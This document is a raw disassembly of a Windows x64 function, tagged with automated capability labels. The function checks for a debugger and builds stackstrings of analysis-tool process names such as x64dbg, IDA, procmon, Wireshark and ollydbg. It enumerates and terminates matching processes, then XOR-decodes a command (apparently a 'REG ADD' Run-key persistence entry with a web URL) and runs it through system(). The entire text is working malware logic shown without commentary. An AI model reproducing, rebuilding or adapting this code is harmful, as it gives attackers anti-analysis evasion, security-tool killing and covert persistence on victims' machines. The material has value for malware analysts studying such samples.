Function at 0x1400012e0
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Contain obfuscated stackstrings
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1eb0]
mov eax, 0x1fb0
call fcn.1400031e0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1ea0], rax
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 1
jne 0x14000133e
lea rcx, str.Youre_Debugging_me__GoodBYE___
call fcn.140001010
call fcn.140001150
call fcn.140001150
xorps xmm0, xmm0
mov dword [rbp + 0x5a0], 0x360078
xor ebx, ebx
mov dword [rbp + 0x5a4], 0x640034
xor eax, eax
mov dword [rbp + 0x5a8], 0x670062
mov qword [rbp + 0x5e6], rax
mov qword [rbp + 0x684], rax
mov dword [rbp + 0x68c], eax
mov dword [rbp + 0x6da], eax
mov qword [rbp + 0x724], rax
mov dword [rbp + 0x72c], eax
mov qword [rbp + 0x778], rax
mov dword [rbp + 0x7cc], eax
mov dword [rbp + 0x5ac], 0x65002e
mov dword [rbp + 0x5b0], 0x650078
mov word [rbp + 0x5b4], bx
movups xmmword [rbp + 0x5b6], xmm0
mov dword [rbp + 0x5ee], 0x690000
movups xmmword [rbp + 0x5c6], xmm0
mov dword [rbp + 0x5f2], 0x610064
movups xmmword [rbp + 0x5d6], xmm0
mov dword [rbp + 0x5f6], 0x65002e
mov dword [rbp + 0x5fa], 0x650078
mov word [rbp + 0x5fe], bx
movups xmmword [rbp + 0x600], xmm0
mov dword [rbp + 0x640], 0x640069
movups xmmword [rbp + 0x610], xmm0
mov dword [rbp + 0x644], 0x360061
movups xmmword [rbp + 0x620], xmm0
mov dword [rbp + 0x648], 0x2e0034
movups xmmword [rbp + 0x630], xmm0
mov dword [rbp + 0x64c], 0x780065
mov dword [rbp + 0x650], 0x65
movups xmmword [rbp + 0x654], xmm0
mov dword [rbp + 0x690], 0x650070
movups xmmword [rbp + 0x664], xmm0
mov dword [rbp + 0x694], 0x740073
movups xmmword [rbp + 0x674], xmm0
mov dword [rbp + 0x698], 0x640075
mov dword [rbp + 0x69c], 0x6f0069
mov dword [rbp + 0x6a0], 0x65002e
mov dword [rbp + 0x6a4], 0x650078
mov word [rbp + 0x6a8], bx
movups xmmword [rbp + 0x6aa], xmm0
mov dword [rbp + 0x6de], 0x500000
movups xmmword [rbp + 0x6ba], xmm0
mov dword [rbp + 0x6e2], 0x6f0072
movups xmmword [rbp + 0x6ca], xmm0
mov dword [rbp + 0x6e6], 0x650063
mov dword [rbp + 0x6ea], 0x730073
mov dword [rbp + 0x6ee], 0x610048
mov dword [rbp + 0x6f2], 0x6b0063
mov dword [rbp + 0x6f6], 0x720065
mov dword [rbp + 0x6fa], 0x65002e
mov dword [rbp + 0x6fe], 0x650078
mov word [rbp + 0x702], bx
movups xmmword [rbp + 0x704], xmm0
mov dword [rbp + 0x730], 0x720050
movups xmmword [rbp + 0x714], xmm0
mov dword [rbp + 0x734], 0x63006f
mov dword [rbp + 0x738], 0x6f006d
mov dword [rbp + 0x73c], 0x2e006e
mov dword [rbp + 0x740], 0x780065
mov dword [rbp + 0x744], 0x65
movups xmmword [rbp + 0x748], xmm0
mov dword [rbp + 0x780], 0x720050
movups xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x784], 0x63006f
movups xmmword [rbp + 0x768], xmm0
mov dword [rbp + 0x788], 0x6f006d
mov dword [rbp + 0x78c], 0x36006e
mov dword [rbp + 0x790], 0x2e0034
mov dword [rbp + 0x794], 0x780065
mov dword [rbp + 0x798], 0x65
movups xmmword [rbp + 0x79c], xmm0
mov dword [rbp + 0x7d0], 0x720070
movups xmmword [rbp + 0x7ac], xmm0
mov dword [rbp + 0x7d4], 0x63006f
movups xmmword [rbp + 0x7bc], xmm0
mov dword [rbp + 0x7d8], 0x780065
mov dword [rbp + 0x7dc], 0x2e0070
mov dword [rbp + 0x7e0], 0x780065
mov dword [rbp + 0x7e4], 0x65
movups xmmword [rbp + 0x7e8], xmm0
mov qword [rbp + 0x818], rax
movups xmmword [rbp + 0x7f8], xmm0
mov dword [rbp + 0x820], 0x720070
movups xmmword [rbp + 0x808], xmm0
mov dword [rbp + 0x824], 0x63006f
mov dword [rbp + 0x828], 0x780065
mov dword [rbp + 0x82c], 0x360070
mov dword [rbp + 0x830], 0x2e0034
mov dword [rbp + 0x834], 0x780065
mov dword [rbp + 0x838], 0x65
movups xmmword [rbp + 0x83c], xmm0
mov dword [rbp + 0x86c], eax
movups xmmword [rbp + 0x84c], xmm0
mov dword [rbp + 0x870], 0x690057
movups xmmword [rbp + 0x85c], xmm0
mov dword [rbp + 0x874], 0x650072
mov dword [rbp + 0x878], 0x680073
mov dword [rbp + 0x87c], 0x720061
mov dword [rbp + 0x880], 0x2e006b
mov dword [rbp + 0x884], 0x780065
mov dword [rbp + 0x888], 0x65
movups xmmword [rbp + 0x88c], xmm0
mov dword [rbp + 0x8bc], eax
movups xmmword [rbp + 0x89c], xmm0
mov dword [rbp + 0x8c0], 0x690077
movups xmmword [rbp + 0x8ac], xmm0
mov dword [rbp + 0x8c4], 0x64006e
mov dword [rbp + 0x8c8], 0x670062
mov dword [rbp + 0x8cc], 0x65002e
mov dword [rbp + 0x8d0], 0x650078
mov word [rbp + 0x8d4], bx
movups xmmword [rbp + 0x8d6], xmm0
mov qword [rbp + 0x906], rax
movups xmmword [rbp + 0x8e6], xmm0
mov dword [rbp + 0x90e], 0x570000
movups xmmword [rbp + 0x8f6], xmm0
mov dword [rbp + 0x912], 0x6e0069
mov dword [rbp + 0x916], 0x620064
mov dword [rbp + 0x91a], 0x2e0067
mov dword [rbp + 0x91e], 0x780065
mov dword [rbp + 0x922], 0x65
movups xmmword [rbp + 0x926], xmm0
mov qword [rbp + 0x956], rax
movups xmmword [rbp + 0x936], xmm0
mov dword [rbp + 0x95e], 0x770000
movups xmmword [rbp + 0x946], xmm0
mov dword [rbp + 0x962], 0x6e0069
mov dword [rbp + 0x966], 0x620064
mov dword [rbp + 0x96a], 0x360067
mov dword [rbp + 0x96e], 0x2e0034
mov dword [rbp + 0x972], 0x780065
mov dword [rbp + 0x976], 0x65
movups xmmword [rbp + 0x97a], xmm0
mov dword [rbp + 0x9aa], eax
movups xmmword [rbp + 0x98a], xmm0
mov dword [rbp + 0x9ae], 0x570000
movups xmmword [rbp + 0x99a], xmm0
mov dword [rbp + 0x9b2], 0x6e0069
mov dword [rbp + 0x9b6], 0x620064
mov dword [rbp + 0x9ba], 0x360067
mov dword [rbp + 0x9be], 0x2e0034
mov dword [rbp + 0x9c2], 0x780065
mov dword [rbp + 0x9c6], 0x65
movups xmmword [rbp + 0x9ca], xmm0
mov dword [rbp + 0x9fa], eax
movups xmmword [rbp + 0x9da], xmm0
mov dword [rbp + 0x9fe], 0x770000
movups xmmword [rbp + 0x9ea], xmm0
mov dword [rbp + 0xa02], 0x6e0069
mov dword [rbp + 0xa06], 0x620064
mov dword [rbp + 0xa0a], 0x330067
mov dword [rbp + 0xa0e], 0x2e0032
mov dword [rbp + 0xa12], 0x780065
mov dword [rbp + 0xa16], 0x65
movups xmmword [rbp + 0xa1a], xmm0
movups xmmword [rbp + 0xa2a], xmm0
movups xmmword [rbp + 0xa3a], xmm0
mov dword [rbp + 0xa4a], eax
mov dword [rbp + 0xa4e], 0x570000
mov dword [rbp + 0xa52], 0x6e0069
mov dword [rbp + 0xa56], 0x620064
mov dword [rbp + 0xa5a], 0x330067
mov dword [rbp + 0xa5e], 0x2e0032
mov dword [rbp + 0xa62], 0x780065
mov dword [rbp + 0xa66], 0x65
movups xmmword [rbp + 0xa6a], xmm0
mov dword [rbp + 0xa9a], eax
movups xmmword [rbp + 0xa7a], xmm0
mov dword [rbp + 0xa9e], 0x6a0000
movups xmmword [rbp + 0xa8a], xmm0
mov dword [rbp + 0xaa2], 0x760061
mov dword [rbp + 0xaa6], 0x2e0061
mov dword [rbp + 0xaaa], 0x780065
mov dword [rbp + 0xaae], 0x65
movups xmmword [rbp + 0xab2], xmm0
mov qword [rbp + 0xae2], rax
movups xmmword [rbp + 0xac2], xmm0
mov dword [rbp + 0xaea], eax
movups xmmword [rbp + 0xad2], xmm0
mov dword [rbp + 0xaee], 0x6a0000
mov dword [rbp + 0xaf2], 0x760061
mov dword [rbp + 0xaf6], 0x770061
mov dword [rbp + 0xafa], 0x65002e
mov dword [rbp + 0xafe], 0x650078
mov word [rbp + 0xb02], bx
movups xmmword [rbp + 0xb04], xmm0
mov qword [rbp + 0xb34], rax
movups xmmword [rbp + 0xb14], xmm0
mov dword [rbp + 0xb3c], eax
movups xmmword [rbp + 0xb24], xmm0
mov dword [rbp + 0xb40], 0x640069
mov dword [rbp + 0xb44], 0x770061
mov dword [rbp + 0xb48], 0x65002e
mov dword [rbp + 0xb4c], 0x650078
mov word [rbp + 0xb50], bx
movups xmmword [rbp + 0xb52], xmm0
mov qword [rbp + 0xb82], rax
movups xmmword [rbp + 0xb62], xmm0
mov dword [rbp + 0xb8a], eax
movups xmmword [rbp + 0xb72], xmm0
mov dword [rbp + 0xb8e], 0x690000
mov dword [rbp + 0xb92], 0x610064
mov dword [rbp + 0xb96], 0x2e0071
mov dword [rbp + 0xb9a], 0x780065
mov dword [rbp + 0xb9e], 0x65
movups xmmword [rbp + 0xba2], xmm0
mov qword [rbp + 0xbd2], rax
movups xmmword [rbp + 0xbb2], xmm0
mov dword [rbp + 0xbda], eax
movups xmmword [rbp + 0xbc2], xmm0
mov dword [rbp + 0xbde], 0x6f0000
mov dword [rbp + 0xbe2], 0x6c006c
mov dword [rbp + 0xbe6], 0x640079
mov dword [rbp + 0xbea], 0x670062
mov dword [rbp + 0xbee], 0x340036
mov dword [rbp + 0xbf2], 0x65002e
mov dword [rbp + 0xbf6], 0x650078
mov word [rbp + 0xbfa], bx
movups xmmword [rbp + 0xbfc], xmm0
mov dword [rbp + 0xc2c], eax
movups xmmword [rbp + 0xc0c], xmm0
mov dword [rbp + 0xc30], 0x6c006f
movups xmmword [rbp + 0xc1c], xmm0
mov dword [rbp + 0xc34], 0x79006c
mov dword [rbp + 0xc38], 0x620064
mov dword [rbp + 0xc3c], 0x2e0067
mov dword [rbp + 0xc40], 0x780065
mov dword [rbp + 0xc44], 0x65
movups xmmword [rbp + 0xc48], xmm0
mov qword [rbp + 0xc78], rax
movups xmmword [rbp + 0xc58], xmm0
mov dword [rbp + 0xc80], 0x61006a
movups xmmword [rbp + 0xc68], xmm0
mov dword [rbp + 0xc84], 0x610076
mov dword [rbp + 0xc88], 0x2e0077
mov dword [rbp + 0xc8c], 0x780065
mov dword [rbp + 0xc90], 0x65
movups xmmword [rbp + 0xc94], xmm0
mov qword [rbp + 0xcc4], rax
movups xmmword [rbp + 0xca4], xmm0
mov dword [rbp + 0xccc], eax
movups xmmword [rbp + 0xcb4], xmm0
mov dword [rbp + 0xcd0], 0x61006a
mov dword [rbp + 0xcd4], 0x610076
mov dword [rbp + 0xcd8], 0x65002e
mov dword [rbp + 0xcdc], 0x650078
mov word [rbp + 0xce0], bx
movups xmmword [rbp + 0xce2], xmm0
mov qword [rbp + 0xd12], rax
movups xmmword [rbp + 0xcf2], xmm0
mov dword [rbp + 0xd1a], eax
movups xmmword [rbp + 0xd02], xmm0
mov dword [rbp + 0xd1e], 0x520000
mov dword [rbp + 0xd22], 0x670065
mov dword [rbp + 0xd26], 0x680073
mov dword [rbp + 0xd2a], 0x74006f
mov dword [rbp + 0xd2e], 0x65002e
mov dword [rbp + 0xd32], 0x650078
mov word [rbp + 0xd36], bx
movups xmmword [rbp + 0xd38], xmm0
mov qword [rbp + 0xd68], rax
movups xmmword [rbp + 0xd48], xmm0
mov dword [rbp + 0xd70], 0x650052
movups xmmword [rbp + 0xd58], xmm0
mov dword [rbp + 0xd74], 0x730067
mov dword [rbp + 0xd78], 0x6f0068
mov dword [rbp + 0xd7c], 0x360074
mov dword [rbp + 0xd80], 0x2e0034
mov dword [rbp + 0xd84], 0x780065
mov dword [rbp + 0xd88], 0x65
movups xmmword [rbp + 0xd8c], xmm0
mov dword [rbp + 0xdbc], eax
movups xmmword [rbp + 0xd9c], xmm0
mov dword [rbp + 0xdc0], 0x750041
movups xmmword [rbp + 0xdac], xmm0
mov dword [rbp + 0xdc4], 0x6f0074
mov dword [rbp + 0xdc8], 0x750072
mov dword [rbp + 0xdcc], 0x73006e
mov dword [rbp + 0xdd0], 0x65002e
mov dword [rbp + 0xdd4], 0x650078
mov word [rbp + 0xdd8], bx
movups xmmword [rbp + 0xdda], xmm0
mov dword [rbp + 0xe0a], eax
movups xmmword [rbp + 0xdea], xmm0
mov dword [rbp + 0xe0e], 0x410000
movups xmmword [rbp + 0xdfa], xmm0
mov dword [rbp + 0xe12], 0x740075
mov dword [rbp + 0xe16], 0x72006f
mov dword [rbp + 0xe1a], 0x6e0075
mov dword [rbp + 0xe1e], 0x360073
mov dword [rbp + 0xe22], 0x2e0034
mov dword [rbp + 0xe26], 0x780065
mov dword [rbp + 0xe2a], 0x65
movups xmmword [rbp + 0xe2e], xmm0
mov dword [rbp + 0xe5e], 0x520000
movups xmmword [rbp + 0xe3e], xmm0
mov dword [rbp + 0xe62], 0x670065
movups xmmword [rbp + 0xe4e], xmm0
mov dword [rbp + 0xe66], 0x680073
mov dword [rbp + 0xe6a], 0x74006f
mov dword [rbp + 0xe6e], 0x78002d
mov dword [rbp + 0xe72], 0x340036
mov dword [rbp + 0xe76], 0x41002d
mov dword [rbp + 0xe7a], 0x53004e
mov dword [rbp + 0xe7e], 0x2e0049
mov dword [rbp + 0xe82], 0x780065
mov dword [rbp + 0xe86], 0x65
movups xmmword [rbp + 0xe8a], xmm0
mov dword [rbp + 0xeaa], eax
movups xmmword [rbp + 0xe9a], xmm0
mov dword [rbp + 0xeae], 0x520000
mov dword [rbp + 0xeb2], 0x670065
mov dword [rbp + 0xeb6], 0x680073
mov dword [rbp + 0xeba], 0x74006f
mov dword [rbp + 0xebe], 0x78002d
mov dword [rbp + 0xec2], 0x360038
mov dword [rbp + 0xec6], 0x41002d
mov dword [rbp + 0xeca], 0x53004e
lea rdx, str.GetThreadContext
mov dword [rbp + 0xece], 0x2e0049
lea rcx, str.kernel32.dll
mov dword [rbp + 0xed2], 0x780065
mov dword [rbp + 0xed6], 0x65
movups xmmword [rbp + 0xeda], xmm0
mov dword [rbp + 0xefa], eax
movups xmmword [rbp + 0xeea], xmm0
mov word [rbp + 0xefe], ax
call fcn.140001070
lea rdx, str.GetCurrentThread
lea rcx, str.kernel32.dll
call fcn.140001070
lea rdx, str.DebugBreak
lea rcx, str.kernel32.dll
call fcn.140001070
lea rdx, str.ZwTerminateProcess
lea rcx, str.ntdll.dll
call fcn.140001070
lea rdx, str.CreateToolhelp32Snapshot
lea rcx, str.kernel32.dll
call fcn.140001070
lea rdx, str.Process32FirstW
mov qword [0x140006688], rax
lea rcx, str.kernel32.dll
call fcn.140001070
lea rdx, str.Process32NextW
mov qword [0x140006668], rax
lea rcx, str.kernel32.dll
call fcn.140001070
lea rdx, str.Module32FirstW
mov qword [0x140006678], rax
lea rcx, str.kernel32.dll
call fcn.140001070
lea rdx, str.OpenProcess
mov qword [0x140006680], rax
lea rcx, str.kernel32.dll
call fcn.140001070
lea rdx, [0x140004398]
mov qword [0x140006690], rax
lea rcx, str.kernel32.dll
call fcn.140001070
mov qword [0x140006670], rax
mov r15d, ebx
nop
movsxd rax, r15d
lea rsi, [rbp + 0x5a0]
lea rcx, [rax + rax*4]
mov rax, qword [0x140006688]
shl rcx, 4
add rsi, rcx
test rax, rax
je 0x140002398
xor edx, edx
mov ecx, 2
call rax
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140002393
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [0x140006668]
test eax, eax
je 0x14000238a
nop dword [rax]
lea rcx, [rsp + 0x4c]
mov r8, rsi
sub r8, rcx
nop dword [rax + rax]
movzx edx, word [rcx]
movzx eax, word [rcx + r8]
sub edx, eax
jne 0x140001fd4
add rcx, 2
test eax, eax
jne 0x140001fc0
test edx, edx
je 0x140001fef
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [0x140006678]
test eax, eax
jne 0x140001fb0
jmp 0x140002070
mov edx, dword [rsp + 0x28]
mov ecx, 0x18
call qword [0x140006688]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000238a
lea rdx, [rbp + 0x160]
mov dword [rbp + 0x160], 0x438
mov rcx, rax
call qword [0x140006680]
test eax, eax
je 0x140002067
mov r8d, dword [rsp + 0x28]
xor edx, edx
mov ecx, 0x1fffff
call qword [0x140006690]
mov r14, rax
test rax, rax
jne 0x14000204a
call fcn.140001150
jmp 0x140002067
xor edx, edx
mov rcx, r14
call qword [0x140006670]
test eax, eax
jne 0x14000205e
call fcn.140001150
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc r15d
cmp r15d, 0x1e
jl 0x140001f50
movdqa xmm2, xmmword [0x1400043b0]
mov ecx, 0xc0
mov dword [rbp + 0x5a0], 0x8aedeff8
mov dword [rbp + 0x5a4], 0x8aeeeeeb
mov dword [rbp + 0x5a8], 0xe9e1e288
mov dword [rbp + 0x5ac], 0xe5f9f6ff
mov dword [rbp + 0x5b0], 0xebfdfeec
mov dword [rbp + 0x5b4], 0xe7f6eff8
mov dword [rbp + 0x5b8], 0xc5d8c9c3
mov dword [rbp + 0x5bc], 0xdeccc5d9
mov dword [rbp + 0x5c0], 0xc4c3fdf6
mov dword [rbp + 0x5c4], 0xd9ddc5ce
mov dword [rbp + 0x5c8], 0xd8dfe9f6
mov dword [rbp + 0x5cc], 0xdec4cfd8
mov dword [rbp + 0x5d0], 0xd9d8cffc
mov dword [rbp + 0x5d4], 0xf6c4c5c3
mov dword [rbp + 0x5d8], 0x88c4dff8
mov dword [rbp + 0x5dc], 0x8ade858a
mov dword [rbp + 0x5e0], 0xf5edeff8
mov dword [rbp + 0x5e4], 0x858af0f9
mov dword [rbp + 0x5e8], 0xee858aec
mov dword [rbp + 0x5ec], 0xc5da888a
mov dword [rbp + 0x5f0], 0xd9d8cfdd
mov dword [rbp + 0x5f4], 0xc6c6cfc2
mov dword [rbp + 0x5f8], 0xc5e9878a
mov dword [rbp + 0x5fc], 0xc4cbc7c7
mov dword [rbp + 0x600], 0xc4e38ace
mov dword [rbp + 0x604], 0xcfc1c5dc
mov dword [rbp + 0x608], 0xc8cffd87
mov dword [rbp + 0x60c], 0xdfdbcff8
mov dword [rbp + 0x610], 0x8aded9cf
mov dword [rbp + 0x614], 0xc3d8ff87
mov dword [rbp + 0x618], 0xdec28d8a
mov dword [rbp + 0x61c], 0x90d9dade
mov dword [rbp + 0x620], 0xc3cd8585
mov dword [rbp + 0x624], 0xc8dfc2de
mov dword [rbp + 0x628], 0xc7c5c984
mov dword [rbp + 0x62c], 0xc5c4d985
mov dword [rbp + 0x630], 0x87cfd0c5
mov dword [rbp + 0x634], 0xc1c9cbc2
mov dword [rbp + 0x638], 0x85d8dfc5
mov dword [rbp + 0x63c], 0xd9d8cfda
mov dword [rbp + 0x640], 0xcfded9c3
mov dword [rbp + 0x644], 0x85cfc9c4
mov dword [rbp + 0x648], 0x85ddcbd8
mov dword [rbp + 0x64c], 0xc4c3cbc7
mov dword [rbp + 0x650], 0xd3cee585
mov dword [rbp + 0x654], 0xd3cfd9d9
mov dword [rbp + 0x658], 0xc6c6ce84
mov dword [rbp + 0x65c], 0xe5878a8d
mov dword [rbp + 0x660], 0xc3ecdedf
mov dword [rbp + 0x664], 0x8d8acfc6
mov dword [rbp + 0x668], 0xfff690e9
mov dword [rbp + 0x66c], 0xd9d8cfd9
mov dword [rbp + 0x670], 0xd3cee5f6
mov dword [rbp + 0x674], 0xd3cfd9d9
mov dword [rbp + 0x678], 0xc6c6ce84
mov dword [rbp + 0x67c], 0xff878a8d
mov dword [rbp + 0x680], 0xcbe8cfd9
mov dword [rbp + 0x684], 0xfac9c3d9
mov dword [rbp + 0x688], 0xc3d9d8cb
mov dword [rbp + 0x68c], 0x88cdc4
nop dword [rax + rax]
movdqu xmm0, xmmword [rbp + rbx + 0x5a0]
movdqu xmm1, xmmword [rbp + rbx + 0x5b0]
xorps xmm0, xmm2
movdqu xmmword [rbp + rbx + 0xf00], xmm0
movdqu xmm0, xmmword [rbp + rbx + 0x5c0]
xorps xmm1, xmm2
movdqu xmmword [rbp + rbx + 0xf10], xmm1
movdqu xmm1, xmmword [rbp + rbx + 0x5d0]
xorps xmm0, xmm2
movdqu xmmword [rbp + rbx + 0xf20], xmm0
xorps xmm1, xmm2
movdqu xmmword [rbp + rbx + 0xf30], xmm1
add rbx, 0x40
cmp rbx, rcx
jl 0x1400022f0
nop dword [rax]
movzx eax, byte [rbp + rcx + 0x5a0]
xor al, 0xaa
mov byte [rbp + rcx + 0xf00], al
inc rcx
cmp rcx, 0xef
jl 0x140002350
lea rcx, [rbp + 0xf00]
mov byte [rbp + 0xfef], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140001150
xor eax, eax
jmp 0x14000239d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140001150
mov eax, 1
mov rcx, qword [rbp + 0x1ea0]
xor rcx, rsp
call fcn.1400023e0
lea r11, [rsp + 0x1fb0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret